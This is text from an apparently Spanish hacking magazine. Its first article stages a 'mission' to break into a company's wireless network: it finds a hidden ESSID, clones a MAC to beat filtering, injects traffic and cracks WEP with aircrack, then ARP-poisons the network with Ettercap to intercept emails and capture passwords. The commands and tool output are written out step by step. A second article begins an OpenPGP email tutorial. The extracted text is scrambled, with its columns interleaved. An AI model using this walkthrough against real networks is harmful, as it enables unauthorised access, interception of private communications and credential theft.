Sie sind auf Seite 1von 68

Nº 29 -- P.V.P.

4,5 EUROS
00029

8 414090 202756
Con la proliferación de las ofertas wireless, el número de redes de éste tipo va en aumento
día a día. Aunque poco a poco la gente va tomando conciencia de lo importante que es proteger
una red de éste tipo ( ¿verdad? ), veremos como hasta la más agresiva configuración de
seguridad (encriptación WEP de 128 bits, filtrado por dirección MAC, ESSID oculto y DHCP
deshabilitado) no supondrá obstáculo para un atacante con unos mínimos conocimientos. ¿Te
animas a acompañarme en este ataque? Sigue leyendo ;)

Tenemos indicios que nos llevan a sospechar de ciertas actividades ilegales en la gestión de empleados de la compañía
WADAL SL, pero carecemos de pruebas contundentes, su misión será obtener dichas pruebas mediante el filtrado del
tráfico de su red, pero no le será fácil.
El único medio de acceso a ésta red es por medio de un AP (punto de acceso inalámbrico) (802.11.bg) que da cobertura
en las inmediaciones del edificio de esta compañía y proporciona acceso a toda la red de la empresa.
Le detallo la información que nuestros técnicos han logrado obtener:
• El BSSID de la red es 00:12:34:56:78:90
• Encriptación WEP de 128 bits
• Filtrado por dirección MAC.
• ESSID oculto.

Dispone de un vehículo camuflado, un portátil con sistema operativo GNU/Linux y tarjeta inalámbrica con chipset
Prism2.
Mucha suerte en su misión

sistema de protección se basa en ocultar dicho nombre al


exterior de modo que sólo los clientes que lo conozcan
Antes de nada daré una breve explicación de los distintos podrán conectarse.
sistemas de seguridad a los que nos enfrentamos y algunos
conceptos previos. Filtrado por MAC: La MAC (Media Access Control) es la
dirección física de una tarjeta de red, identifica de forma
BSSID: Es la dirección MAC del AP. única cada tarjeta de red de modo que nunca se fabricarán
dos tarjetas con una misma MAC. El filtrado por MAC se
ESSID oculto: Para poder conectarnos a un punto de basa en permitir o excluir determinadas MAC's impidiendo
acceso necesitamos conocer su ESSID o nombre, este o posibilitando la conexión.

3
DHCP deshabilitado: El DHCP capturar y visualizar los paquetes. Sus
(Dynamic Host Configuration Protocol) comandos/opciones son los siguientes:
es un protocolo que permite al cliente (Imagen 0 )
recibir por parte del servidor DHCP los
parámetros de configuración para Si Kismet no puede poner tu tarjeta
acceder a la red. Entre esos parámetros automáticamente en modo monitor
se encuentran la IP , puerta de enlace, puedes hacerlo con las wireless-tools:
etc..
root@spirit:/#iwpriv <interfaz> monitor 1 1
Con DHCP deshabilitado, un atacante
que logre conectar con nuestro AP tendrá ó bien:
que adivinar y configurar a mano dichos
parámetros para poder formar parte de root@spirit:/#iwconfig <interfaz> mode monitor
la red.
Nos desplazaremos por las inme-
Encriptación WEP: (Wired Equivalency Imagen 0 diaciones del edificio hasta que Kismet
Privacy ) es un sistema de cifrado nos detecte paquetes provenientes de
incluido en el protocolo 802.11 que de esta forma podremos capturar la red de BSSID 00:12:34:56:78:90 y
permite encriptar la información paquetes sin necesidad de estar de ESSID desconocido(Imagen 1).
transmitida mediante el algoritmo RC4, asociados a una red.
utilizando claves de 64, 128 o 256 bits. En este caso he detectado 2 redes con
En la misión voy a utilizar Kismet ( ESSID oculto, para ver el BSSID de la
¿Por que chipset Prism2? Por su facilidad http:// www.kismetwireless.net/ ), un red pulsamos 's' y escogemos el tipo de
para el modo master, con modo master sniffer para redes wireless que nos ordenación de los nodos, en mi caso
podremos convertir nuestra tarjeta permitirá localizar el AP, además de escojo 'b'; una vez el nodo ha sido
inalámbrica en un punto de acceso. En
el transcurso de la misión necesitaremos Imagen 1
emular un AP para llevar a cabo ciertos
ataques y facilitar el trabajo.

Para los que le suene a chino el término


wardriving, consiste básicamente en
salir a la caza de redes inalámbricas
provistos de un portátil/PDA con tarjeta
inalámbrica y usando el software
apropiado de detección. Según el medio
de transporte que se utilice surgen
términos como:
Imagen 2
WarWalking: Andando.
WarFlying: En avión.
WarSkating: En patines. (¿os lo
imagináis? :-D)
WarDriving: En coche... etc

Vamos a hacer wardriving para localizar


la red de BSSID correspondiente a la
dada en el documento de la misión.

Una vez cerca del edificio WADAL SL,


ponemos nuestra tarjeta en modo
monitor y usamos un sniffer adecuado
para redes 802.11. Es imprescindible el
modo monitor o RFMON para la misión,

4
marcado con otro color pulsamos la
tecla 'i' , que nos mostrará información
acerca de esta red (Imagen 2).

Nos fijamos en el BSSID y comprobamos


que es el correcto; hemos localizado la
red.

Durante el proceso de conexión entre


un cliente y un punto de acceso ocurren
los siguientes pasos:

El cliente emite una trama PROVE


Imagen 3
REQUEST que contiene el ESSID
al que desea conectarse.
El AP responde si el ESSID
coincide con el suyo.
El cliente y el AP intercambian
tramas de autentificación y
asociación.

Capturando estos paquetes podremos


ver el ESSID.

Tenemos dos opciones, o bien esperar


a que algún cliente se conecte para
capturar las tramas o realizar un ataque
para forzar a clientes conectados la rea-
Imagen 4
sociación con el AP. http://www.wlsec.net/void11/ el nombre del ESSID. (Imagen 3)
essid_jack , utilidad del proyecto
Una forma de realizar este último ataque Air-jack http://sourceforge. Las redes con ESSID oculto a las que
es hacernos pasar por el AP (clonando net/projects/airjack/ Kismet haya logrado capturar su ESSID
su MAC) y emitir tramas DIASSOC a la se mostrarán con un tono azulado.
dirección de broadcast (FF:FF:FF: Pa r a l a m i s i ó n va m o s a u t i l i z a r
FF:FF:FF) o a algún cliente específico essid_jack, su uso es el siguiente:
de modo que logremos engañar al cliente (listado 1)
y ésta vuelva a asociarse para así poder
capturar las tramas. Primer paso logrado, ya tenemos el Antes de nada veamos el formato de un
nombre del ESSID, “W4d41B3RT0-007”. paquete de datos capturado con Kismet
Por suerte, existen herramientas que Si nos fijamos en la ventana de Kismet y analizado con ethereal (http://www.
automatizan este proceso: podremos ver cómo ha capturados las ethereal.com/) (Imagen 4)
deauth , utilidad del proyecto void11. tramas de reasociación mostrándonos
Podemos ver que en el protocolo IEE
Listado 1 802.11 se incluyen los campos:
root@spirit:/home/CrashCool/he2# ./essid_jack
Essid Jack: Proof of concept so people will stop calling an ssid a password. Destination address: A quien va des-
tinado el paquete.
Usage: ./essid_jack -b <bssid> [ -d <destination mac> ] [ -c <channel number> ] [ -i <interface name> ]
-b: bssid, the mac address of the access point (e.g. 00:de:ad:be:ef:00)
-d: destination mac address, defaults to broadcast address.
Source address: De donde proviene el
-c: channel number (1-14) that the access point is on, defaults to current. paquete.
-i: the name of the AirJack interface to use (defaults to aj0).
Vamos a analizar los datos que hemos
root@spirit:/home/CrashCool/he2# ./essid_jack -b 00:12:34:56:78:90 -c 5
capturado, para ello localizamos los
Got it, the essid is (escape characters are c style):
“W4d41B3RT0-007“
archivos de log que ha generado Kismet,

5
normalmente se encuentran en Una vez abierto ordenamos los paquetes
root@spirit:/# ifconfig wlan0 hw ether
/var/log/kismet, allí encontraremos logs por el campo Info, localizamos los del 00:c5:c5:f3:f3:00
con este forma tipo Data y seleccionamos uno
cualquiera.(Imagen 6)
Kismet-[mes]-[día]-[año]-[sesión].[formato]
Si con las wireless-tools no puedes
/var/log/kismet/Kismet-May-17-2005-1.csv Este paquete proviene del gateway de cambiarla puedes probar con el
/var/log/kismet/Kismet-May-17-2005-1.dump la red (00:12:34:56:78:91) y va dirigido programa macchanger.
/var/log/kismet/Kismet-May-17-2005-1.network
a un cliente válido (00:c5:c5:f3:f3:00),
/var/log/kismet/Kismet-May-17-2005-1.xml
por lo cual ya tenemos un MAC válida.
E n t r e l o s f o r m a t o s g e n e ra d o s s e
encuentran .csv , .dump , .network, Kismet captura MAC's válidas WEP (Wired Equivalent Privacy), nace
.xml . El formato .dump es la captura automáticamente, para ver las con el fin de proporcionar a las redes
en bruto o raw dump de todos los capturadas seleccionamos el nodo en wireless una seguridad equivalente a
paquetes, es un formato totalmente concreto (para ello primero tenemos una red cableada. Utiliza el algoritmo
compatible con ethereal o tcpdump. que ordenarlos pulsando la tecla 's' y RC4 y usa claves de 64, 128 y 256 bits
escogiendo uno de los modos que se que a efectos prácticos son de 40, 104
Abrimos con ethereal el .dump corres- nos presentan) y luego pulsamos la tecla , 232 bits respectivamente, los 24 bits
pondiente a la sesión y visualizamos los 'c'. restantes son usados para el vector de
paquetes de datos:(Imagen 5) inicialización ó IV.
CrashCool@spirit:/$ ethereal /var/log/kismet/ A continuación clonaremos nuestra MAC
Kismet-May-17-2005-1.dump por la del cliente válido, saltándonos de El vector de inicialización es pseudo
ese modo el filtrado por MAC: aleatorio en cada paquete y su fin es
combinarlo con la clave fija de modo
Imagen 5 que el cifrado sea diferente y a un
atacante le sea mas difícil deducir la
clave.

Por lo tanto el emisor como el receptor


deben conocer la clave fija y el vector
d e i n i c i a l i z a c i ó n ( I V ) p a ra p o d e r
cifrar/descifrar los paquetes. La clave
fija es conocida de antemano por el AP
y los clientes, y el vector de inicialización
(IV) viaja en cada paquete.

La vulnerabilidad viene en el vector de


inicialización, antes he dicho que es un
valor pseudo aleatorio, pero el estándar
802.11 especifica que la variación del
IV es opcional y deja un campo abierto
a la implementación por parte de los
fabricantes de modo que no siempre
son aleatorios y se repiten, esto sumado
a los pocos bits para variar el IV (2 24
= 16'7 millones aproximadamente) hace
Imagen 6
que los IV's se agoten en unos cuantas
horas o minutos, según la cantidad de
tráfico.

Existen multitud de técnicas y algoritmos


para romper WEP con mayor/menor
eficiencia y que requieren mas/menos
cantidad de paquetes y IV's distintos.
Uno de los más atractivos es el ataque
estadístico de Korek en el que está
basado el programa que utilizaremos:
Aircrack. (http://www.cr0.net:8040/
code/network/)

6
deberemos deducir los parámetros de
CrashCool@spirit:/$ aircrack -c dmac : set Destination MAC address
-h smac : set Source MAC address
configuración por los paquetes
-o fc0 : set frame control[0] (hex) capturados. Al disponer de la clave WEP
aircrack 2.1 - (C) 2004 Christophe Devine -p fc1 : set frame control[1] (hex) podremos descifrar los paquetes y visua-
-k : turn chopchop attack on
lizarlos, para ello puedes utilizar el
usage: aircrack [options] <pcap file> <pcap file> ... programa decrypt incluido en Airsnort
Por tanto el comando que usaremos (http://airsnort.shmoo.com), su uso es
-d <start> : debug - specify beginning of the key podría ser: el siguiente:
-f <fudge> : bruteforce fudge factor (default: 2)
-m <maddr> : MAC address to filter usable packets root@spirit:/# aireplay –i wlan0 CrashCool@spirit:~$ decrypt
-n <nbits> : WEP key length: 64 / 128 / 256 / 512 –b 00:12:23:56:78:90 –d ff:ff:ff:ff:ff:ff missing required argument
Usage: decrypt (-p <pw> | -f <dictfile>) [-b] [-
-p <nfork> : SMP support: # of processes to start
Esto capturaría tráfico proveniente del o <offset>] -m <bssid> -e <cryptfile> -d
Llegó la parte mas tediosa, capturar AP y con destino a la dirección de <decryptfile>
entre 200.000 y 500.000 IV's diferentes broadcast, tras esto nos preguntará si -p: single password to try
para facilitar el trabajo a aircrack, para deseamos reenviarlo, a lo que contes-
ello deberemos esnifar suficiente tráfico, taremos sí ( 'y' ). -f: dictionary, 1 password per line
pero ¿que pasa si la red se usa muy -b: skip beacons
poco o no hay tráfico suficiente? Se También podemos usar un archivo .pcap -o: offset to frame control (default zero)
utilizan técnicas para generar tráfico. capturado con anterioridad y reenviarlo. -m: bssid to crack
Entre las utilidades que te permiten -e: input pcap file
hacer esto se encuentran: Para capturar el tráfico puedes usar -d: output pcap file
Airodump, utilidad incluida en Aircrack
Aireplay 2.2, utilidad incluida en que te irá mostrando el número de IV's Para descifrar el nuestro usaremos el
Aircrack (http://www.cr0.net:8040/ capturadas o Kismet. Yo voy a hacerlo comando:
code/network/) y que captura paquetes con Kismet; para ello lo ejecutamos y
válidos generados por un cliente de la seleccionamos el nodo en cuestión CrashCool@spirit:~$ decrypt -p
red para luego hacerse pasar por él y (pulsando 's' y escogiendo algún tipo 6e:23:c8:69:d3:7f:37:d6:58:42:cf:02:13 -m
enviarlos de nuevo a la red, de modo de ordenación), una vez seleccionado 00:12:34:56:78:90 -b -e /var/log/kismet/Kismet-
que al retransmitirse generan más tráfico fijamos el canal del nodo de modo que May-17-2005-2.dump -d descifrado WEP.pcap
que nos dará mas IV’s. Kismet sólo escuche el tráfico de ese
Su uso es el siguiente: canal para así capturar mas A continuación abrimos
rápidamente, esto se consigue pulsando descifradoWEP.pcap con ethereal:
root@spirit:/home/CrashCool/hxc/aireplay-2.2# ./aireplay 'L' sobre el nodo seleccionado.

aireplay 2.2 - (C) 2004,2005 Christophe Devine CrashCool@spirit:~$ ethereal


Una vez recolectado el suficiente tráfico descrifradoWEP.pcap
usage: aireplay [options] <interface #0> [interface #1] procedemos a ejecutar aircrack
pasándole los siguientes parámetros: Para obtener los datos con mayor rapidez
interface #0 is for sending packets; it is also used to
capture packets unless interface #1 is specified. localizamos paquetes provenientes de
CrashCool@spirit:/$ aircrack –n 128 –f 1 <ruta archivo .dump> tráfico ARP, aquí un paquete capturado:
source options: (Imagen 7)
En el caso de que tras un cierto tiempo
-i : capture packet on-the-fly (default)
nos muestre un mensaje del tipo “No El gateway de la red es 192.168.0.1, la
-r file : extract packet from this pcap file
luck sorry” , aumentaremos el fudge IP del cliente es 192.168.0.11 y la
filter options: factor , éste parámetro puede tomar los dirección de broadcast es
valores 1 , 2 y 3 e interviene en el 255.255.255.255 por lo cual ya tenemos
-b bssid : MAC address, Access Point
-d dmac : MAC address, Destination
análisis estadístico, a más valor, más el rango de ip’s de la red.
-s smac : MAC address, Source posibilidades tenemos de que encuentre
-m len : minimum packet length, default: 40 la clave, pero a su vez tardará mas. Los datos que necesitamos son:
-n len : maximum packet length, default: 512
-u type : fc, type - default: 2 = data
-v subt : fc, subtype - default: 0 = normal En este caso tras unas horas obtengo IP: 192.168.0.150 (elijo una al azar
-t tods : fc, To DS bit - default: any la clave: 6e:23:c8:69:d3:7f:37:d6:58 dentro del rango)
-f fromds : fc, From DS bit - default: any :42:cf:02:13 Gateway: 192.168.0.1
-w iswep : fc, WEP bit - default: 1
-y : assume yes & don't save packet

replay options:

-x nbpps : number of packets per second


Al no disponer de DHCP habilitado Ya tenemos todos los datos que
-a bssid : set Access Point MAC address

7
Imagen 12
Imagen 7
En el menú “Sniff ” seleccionamos
necesitamos para conectarnos a la red sniffer Ettercap para capturar el tráfico “Unified sniffing...” y escogemos la
;), procedamos: de la red, pero antes de eso vamos a interfaz de red con la que estamos
estudiar a que tipo de red nos conectados (Imagen 8).
root@spirit:/# iwconfig wlan0 essid W4d41B3RT0-007 enfrentamos.
1. Establecemos el nombre del ESSID
Tras esto veremos la pantalla principal:
root@spirit:/# iwconfig wlan0 key open 6e23c869d37f37d65842cf0213
(Imagen 9)
2. Configuramos la clave WEP
root@spirit:/# ifconfig wlan0 192.168.0.150
A continuación construiremos una lista
3. Nos ponemos la ip 192.168.0.150
root@spirit:/# route add default gw 192.168.0.1 de los hosts activos, es decir de los
4. Añadimos el gateway. clientes que están conectados a la red,
para ello en el menú “Hosts” seleccio-
En teoría ya estamos dentro, veamos namos “Scan for hosts” (Imagen 10).
que nos dice Ettercap.
Imagen 10 Y esperamos unos segundos a que
detecte los clientes:(Imagen 11)
Arrancamos ettercap en su modo gráfico
(GTK) Una vez terminado podremos ver la lista
Una vez dentro de la red, usaremos el
de host desde el menú “Hosts” -> “Host
Imagen 8 root@spirit:/home/CrashCool/he2# ettercap -G list”.

Ahora estudiaremos el tipo de red en la


Imagen 11
que estamos, si es conmutada (conecta
a los clientes a través de un switch) o
no conmutada (mediante un hub).

Imagen 9 Pero.. ¿para qué necesitamos saberlo?.


En la redes no conmutadas se usan
hub's para interconectar las máquinas;
un hub viene a ser como un repetidor
que además regenera la señal, es decir
lo que se pone en una interfaz (entrada
RJ-45) del hub sale por todas las demás.
En una red de este tipo los datos van a
parar a todas las máquinas conectadas
de modo que un atacante lo va a tener
sencillo, le basta con poner su tarjeta
en modo promiscuo para ver todo el
tráfico con un simple sniffer (Imagen
12).

8
Imagen 13

Imagen 15
Imagen 16
Imagen 14 status el resultado: “You are plugged
into a SWITCH” (Imagen 15).
En las redes conmutadas los datos sólo Aparentemente no puedo utilizar un
van a parar a la máquina destinataria sniffer para ver el tráfico de todos los
del paquete; para ello los switch's clientes, pero recordando la “switch
generan tablas dinámicas (switch table) table”, ésta miraba la MAC de destino
que asocian cada una de sus interfaces del paquete y lo reenviaba por la interfaz
con la MAC (o MAC's) del cliente correspondiente, pero ¿y si desde un
conectado a ella. Al recibir un paquete principio falseamos la MAC de destino?.
el switch mira la MAC a la que va dirigido Si me encuentro en una LAN con los Imagen 17
y consulta su tabla buscando por que clientes A, B y C y A envía un paquete
interfaz debe reenviar el paquete; si por a C, en el paquete va especificada la
alguna casualidad en su tabla no está MAC de C ¿cómo sabe A la MAC de C?,
dicha MAC reenvía el paquete por todas consultando su tabla ARP.
sus interfaces (así se asegura de que
llegue). Ésta tabla se va actualizando ARP (address resolution protocol),
cada cierto tiempo de modo que si un traduce o asocia una dirección IP con
cliente conecta una máquina al switch una dirección física (MAC), es utilizado
por un atacante asociando su MAC a un
por la interfaz 5, el switch añadirá a su por todos los nodos de la red que posean
IP que no es suya conseguirá engañar al
lista la MAC del cliente asociándola a la capa de enlace de datos, así pues,
switch para que le entregue un paquete
dicha interfaz. Así pues cuando el switch cada cliente de la red mantendrá su
que en teoría no le pertenece; esta técnica
reciba paquetes destinados a dicha MAC propia tabla ARP gestionada por su
es comúnmente conocida como ARP
sabrá que sólo debe reenviarlos por la sistema operativo.
poisoning .
interfaz 5 (Imagen 13)
Ettercap nos lo va a poner fácil ya que
Si quieres visualizar tu tabla ARP, puedes
Un atacante que corra un simple sniffer es capaz de lanzar y mantener este tipo
hacerlo a través del comando: arp -a
poniendo su tarjeta en modo promiscuo de ataque y esnifar el tráfico a la vez :P.
solo visualizará su tráfico. Esta tabla es dinámica y posee además
un tiempo de vida, cada nodo está Para ello seleccionamos en el menú
Para detectar si nos encontramos ante
pendiente de los frames que le llegan “Mitm” -> “Arp poisoning..” y marcamos
un tipo u otro de red usaremos el plugin
por parte de los demás nodos para la casilla “Sniff remote conections.”
'link type' de Ettercap; para ello desde
mantener esa tabla lo más actualizada (Imagen 16)
el menú “Plugins” seleccionamos “Manage
posible.
Plugins”: (Imagen 14) Una vez hecho esto comenzamos la
A la hora de emitir un paquete, la tabla sesión de esnifado, desde el menú “Start”
Y hacemos doble click sobre el plugin ARP es consultada para rellenar el campo seleccionamos “Start sniffing” (Imagen
“link type” observando en la ventana de MAC destino, si esa tabla es modificada 17)

9
debilidades del actual WEP y entre sus
principales mejoras destacan la continua
rotación de la clave para cifrar los
paquetes (TKIP). El usuario proporciona
una clave fija en ASCII que sirve como
semilla para generar la clave aleatoria
con la que se cifrarán los paquetes,
pasados un cierto número de paquetes
se vuelve a generar otra clave a partir
de esa semilla.

Para implementarlo es necesario que


todos los dispositivos (AP y clientes) de
la red soporten este sistema. Si tu AP
no dispone de este sistema es posible
que en la web del fabricante encuentres
alguna actualización de firmware que lo
permita.

La seguridad en este tipo de cifrado es


proporcional a la longitud de la clave
Imagen 18
semilla, ya que existen herramientas
¿Que nos asegura que el envene- empresa sin informar a los accionistas, capaces de crackearla mediante fuerza
namiento de ARP se está llevando al pudiendo así sacar beneficio y quedar bruta.
éxito? Podemos utilizar el plugin impune por el despido de los empleados
Con la llegada de su segunda generación
“chk_poison” que nos dirá si hay por parte de la empresa que las ha
WPA2 el usuario y empresa podrán
envenenamiento o no: comprado.
disfrutar de una mayor seguridad.

Activating chk_poison plugin...


chk_poison: Checking poisoning status...
chk_poison: Poisoning process succesful! Como has podido ver saltarse una red
Este mes como es lógico no podemos
wireless de este tipo es sólo cuestión de
proporcionarte un escenario para la
Perfecto, para visualizar el tráfico de la tiempo, lo que deja casi la totalidad de
práctica, pero te animo a practicar el
red abrimos la pestaña “Connections” las redes wireless actuales al descubierto.
artículo en tu red wireless y que
desde el menú “View” y observaremos Sin duda la seguridad de hoy en día
compartas con nuestro foro tu
una lista de todas las conexiones activas depende de la combinación de todos los
experiencia/dudas. Así mismo para los
en ese momento. sistemas de protección actuales con otros
que desde un principio han pensando ¿y
sistemas como:
que pasa con los que usamos Windows?
Haciendo doble click sobre cualquiera de Portales cautivos: son sistemas de
también los animo a instalar GNU/Linux;
ellas veremos los datos en formato autentificación de usuarios wireless.
en nuestro foro encontraras bastante
ASCII: (ver Imagen 18) Durante el proceso de conexión con el
información al respecto y gente dispuesta
AP, éste le asigna una IP y el gateway
a ayudarte en cualquier problema que
Además de esto Ettercap lleva del portal cautivo, de modo que no
te surja con la instalación y configuración.
incorporado un colector automático de podremos 'salir' de ahí hasta que no nos
contraseñas (FTP, POP, TELNET, SSH, autentifiquemos, normalmente desde el Por suerte y por comodidad también
MYSQL, IRC, VNC ... ). Si durante algún propio navegador web bajo una conexión dispones de una live-cd específica para
momento de la sesión de esnifado algún segura HTTP-SSL, una vez autentificamos seguridad que incorpora todas estas
cliente accediera a su correo o a un el gateway nos dará paso a la LAN o a herramientas y muchas más y que
servidor ftp, Ettercap nos mostraría en Internet. configurará automáticamente tu tarjeta,
la ventana de status los datos de acceso estoy hablando de Auditor, distribución
(login y pass). Estos portales permiten configurar un basada en Kanotix y que podrás
política de usuarios de modo que descargar de http://new.remote-
Continuando con la misión debo obtener podamos autorizar a según que servicios, exploit.org/index.php/Auditor_main .
pruebas válidas de las actividades limitar ancho de banda, etc. Una imple- Sin más me despido esperando hayáis
ilegales que se sospecha hay en esta mentación libre de este sistema es NoCat disfrutado con la lectura y con los posibles
empresa. Tras intervenir varios correos http://nocat.net/ ratos de wardriving en los que
con Ettercap tengo pruebas que apuntan desemboque este artículo ;).
a que la empresa WADAL ha estado nego- WPA (Wi-Fi Protected Access):
ciando la venta de sus acciones a otra también llamado WEP2, corrige las CrashCool (Alex F.)

10
Bienvenidos una vez más al Taller de Criptografía. En los dos primeros artículos hemos aprendido
los fundamentos del sistema OpenPGP, los fundamentos matemáticos tras la criptografía de clave
pública, así como el manejo de sus principales implementaciones. Ahora es el momento de empezar
a darle un uso útil a todos esos conocimientos... ;-)

Antes de empezar, me gustaría decir algo. Cuando empecé esta serie de artículos, decidí que sería
un "taller" y no un "curso" porque la mayor parte de trabajo recaería en práctica, dejando la teoría
como herramienta para comprender la primera. Dado que el tema a tratar era la criptografía, no
me calenté mucho la cabeza y elegí el nombre más obvio para el taller: "Taller de Criptografía".

Ya habiendo terminado el segundo artículo caí en la cuenta de una cosa: sin darme cuenta había
"copiado" un nombre que ya existía y que significa mucho para todos los aficionados a la criptografía:
El "Taller de Criptografía" de Arturo Quirantes Sierra (profesor de Física de la Universidad de
Granada... pero como él mismo dice en su web, podemos respirar tranquilos porque no es contagioso
:-P): http://www.ugr.es/~aquiran/cripto/cripto.htm.

Todo aficionado a la criptografía que sepa leer castellano y no esté suscrito al boletín ENIGMA
(http://www.ugr.es/~aquiran/cripto/enigma.htm) de Arturo Quirantes, es poco menos que un
hereje. Yo particularmente soy asiduo lector desde hace mucho tiempo, y os lo recomiendo totalmente.
Aunque no tengo el placer de conocer a Arturo Quirantes en persona, sí que cruzamos unos correos
cuando caí en la cuenta de lo desafortunado de la elección del título del taller, y fue más compren­
sivo aún de lo que yo esperaba. Sólo me expresó su deseo de que la gente no confundiera este
taller que tienes en tus manos con el suyo. Pues que quede esta nota como aclaración, al César lo
que es del César. Mando un saludo para Arturo desde mi humilde rincón. :-)

sino que lo es para casi cualquier protocolo de la red,


incluyendo HTTP.
Si sois aficionados a leer textos sobre seguridad informática,
seguramente más de una vez hayáis leído aquello de que Sin embargo, realizamos muchas operaciones delicadas
el correo electrónico es como una postal y que cualquiera a través de web y nos han dicho que son seguras... aquello
puede leerlo por el camino. Y es cierto. De hecho, no del candadito y demás. Bien, ese "candadito" y el que el
solamente es cierto para correo electrónico (asumo que habitual HTTP de la barra de direcciones cambie por un
hablamos de protocolos estándar como SMTP, POP o IMAP, HTTPS nos indica que estamos trabajando con SSL (Secure
no de webmails y demás engendros de la naturaleza :-P) Socket Layer), que es un sistema de cifrado basado en

11
PKI (Public Key Infrastructure)... que, Adicionalmente, nunca está de más que GNU/Linux como Microsoft Windows e
efectivamente, es muy seguro. SSL no uséis, en la medida de lo posible, SSL incluso Mac OS X. Yo particularmente
es el tema de este artículo... ese tema en detrimento de las conexiones en en esta parte usaré un sistema Debian
llegará más adelante, de momento nos claro. GNU/Linux 3.1 (SID) con Mozilla
basta con saber que existe y que sirve Thunderbird 1.0.2-2, enigmail 0.91-3 y
para convertir un protocolo estándar en En un principio vamos a centrarnos en GnuPG 1.4.0-2, que son las versiones
un protocolo cifrado. un MUA concreto para familiarizarnos que a día de redactar este artículo hay
con el uso de OpenPGP en correo en los repositorios SID de Debian.
¿Existe algo similar para el correo electrónico, pero más adelante veremos Supongo que ya habréis notado que
electrónico? Desde luego. SMTP (puerto otros MUA's alternativos que pueden siempre que puedo, oriento las prácticas
25) se convierte en SMTPS (puerto 465), ser usados de forma muy similar, y al software libre (y si puede ser
POP3 (puerto 110) se convierte en POPS finalmente veremos que podemos multiplataforma, mejor que mejor).
(puerto 995), e IMAP (puerto 143) se trabajar con cualquier MUA que nos Además de los motivos técnicos (de
convierte en IMAPS (puerto 993). Lo apetezca e incluso con interfaces menor importancia en este caso, y de
malo es que el uso de SSL en correo webmail (no, no lo voy a volver a decir... los cuales no es el momento de hablar),
electrónico está muy poco extendido. bueno venga, la última ¿eh?... están los motivos prácticos: no todo el
Casi ningún servidor de correo gratuito ¡engendrooo! xD). mundo tiene el dinero necesario para
ofrece correo POPS/SMTPS, aunque hay comprar las caras (carísimas) licencias
excepciones como Gmail, que aparte de de software necesarias para determi-
su webmail (¿webmail? ¡arg, engendro! nados programas,o bien la catadura
:-D) ofrece la posibilidad de usar sus moral para andar pirateando a troche y
cuentas en un MUA (Mail User Agent) y Como ya he dicho, vamos a empezar moche dicho software. Siempre me ha
los protocolos usados son por un MUA muy concreto. El software dado mucha rabia cuando leo algún
exclusivamente POPS y SMTP (bajo TLS). elegido es: artículo en el que el autor presupone
Entre los ISP, que yo sepa, casi ninguno que todos disponemos del último acojo-
Mozilla Thunderbird (http://
ofrece siquiera la posibilidad de usar editor o acojo-compilador de turno. La
www.mozilla.org/products/thund
SSL en el correo, y entre los proveedores vida de estudiante no da para tanto...
erbird/). El motivo para elegir este
privados de alojamiento tampoco son y hablando de Universidad, otra cosa
software y no otro es que se trata
muchos los que ofrecen la posibilidad que me repatea es que los profesores
de software libre, es
de usarlo (afortunadamente el mío sí lo de una Ingeniería (Informática, para
multiplataforma, y mediante un
hace, yo recibo y envío mi correo a más inri) pidan la documentación en
plugin (del que en unos instantes
través de SSL). "formato Word". Lo siento, tenía que
hablaremos) implementa
desahogarme... :-P
compatibilidad con GnuPG (que
¿Porqué si tanto nos preocupa usar SSL
t a m b i é n e s s o f t wa r e l i b r e y
en HTTP para conexiones delicadas, es Bien, vamos al tema. Lo primero que
multiplataforma). La última versión
por el contrario tan poca la preocupación debemos hacer, obviamente, es instalar
disponible es la 1.0.2.
en el correo electrónico? Pues todo el software necesario. Respecto a
sinceramente, no lo sé, pero es un la instalación de GnuPG no hay nada
enigmail (http://enigmail.mo
hecho. Además, al tratarse SSL de una que decir, pues en el anterior artículo
zdev.org/). Se trata de un plugin
conexión entre el cliente y el servidor, se trató en detalle. Solamente
p a ra M o z i l l a S u i t e y M o z i l l a
esta comunicación irá cifrada, sí, pero mencionaré que los usuarios de Linux
Thunderbird que implementa
desde ese servidor al servidor de correo podéis descargar o bien las fuentes y
compatibilidad con inline-PGP (RFC
de destino y posteriormente al compilarlas (como fue explicado) o bien
#2440) y PGP/MIME (RFC #3156)
destinatario, es mucho más que probable algún paquete precompilado, mientras
mediante GnuPG. La última versión
que alguna de esas conexiones no se que los usuarios de Windows deberéis
disponible es la 0.91.0.
establezca mediante SSL. bajar el binario precompilado (bueno,
GnuPG (http://www.gnupg.org/). las fuentes también pueden ser
Así pues, la mayoría de los usuarios Espero que después del anterior compiladas, pero os garantizo más de
están condenados a mandar sus correos artículo no tenga que decirle a un dolor de cabeza). Los enlaces para
privados (con asuntos tan sensibles nadie qué es GnuPG (:-P). La descarga son:
como trabajo, datos bancarios, claves última versión disponible es la
de acceso...) como postales a través 1.4.1 (sí, hay una nueva versión Para sistemas Unix-like (fuentes):
de la red a la que estén conectados, y desde el artículo anterior). ftp://ftp.gnupg.org/gcrypt/gnupg/gnu
que cualquier fisgón de tres al cuarto pg-1.4.1.tar.bz2
lea lo que no debe... ¡Pues no! Dado que todo el software mencionado
es multiplataforma, no hay Para sistemas Windows: ftp://
Vamos a aplicar todo lo aprendido sobre absolutamente ningún problema en ftp.gnupg.org/gcrypt/binary/gnupg-
OpenPGP al correo electrónico. seguir esta práctica tanto desde sistemas w32cli-1.4.1.exe

12
Para sistemas Mac OS X: http:// sencillos, por lo que me limitaré a Account Name: Indicamos el
prdownloads.sourceforge.net/macgpg/ mencionarlos por encima. Si tenéis algún nombre deseado para la cuenta.
GnuPG1.4.1.dmg?download problema, consultad en google o pre-
Lo siguiente es bajar e instalar Mozilla guntad en el foro. Congratulations!: En este punto
Thunderbird (también es perfectamente New Account Setup: Selec-
posible usar el gestor de correo de la cionamos cuenta de correo (Email hemos finalizado la configuración
suite Mozilla). El software posee un account). y podemos revisar los datos
instalador muy sencillo (del tipo introducidos para revisarlos y
"siguiente, siguiente, siguiente...") así Identity: Introducimos el nombre volver hacia atrás si fuera
que no creo que haya problema alguno con el que deseamos figurar en la necesario modificar algo.
con ello. He seleccionado la versión cuenta, así como la dirección de
1.0.2 en inglés porque a día de hoy la correo. También es imprescindible configurar el
última versión en castellano es la 1.0, servidor de correo saliente (en caso de
pero podría servir exactamente igual. Server Information: Selec- usar IMAP este paso no es necesario),
Los que no se lleven muy bien con la cionamos el tipo de servidor para lo cual iremos al menú Edit >
lengua de Shakespeare, ya saben qué entrante (POP o IMAP) e indicamos Account Settings e introduciremos los
hacer (aunque en el artículo haré el nombre del servidor. Podemos datos en la ficha Outgoing Server
referencia a los textos de Thunderbird seleccionar si usar una bandeja de
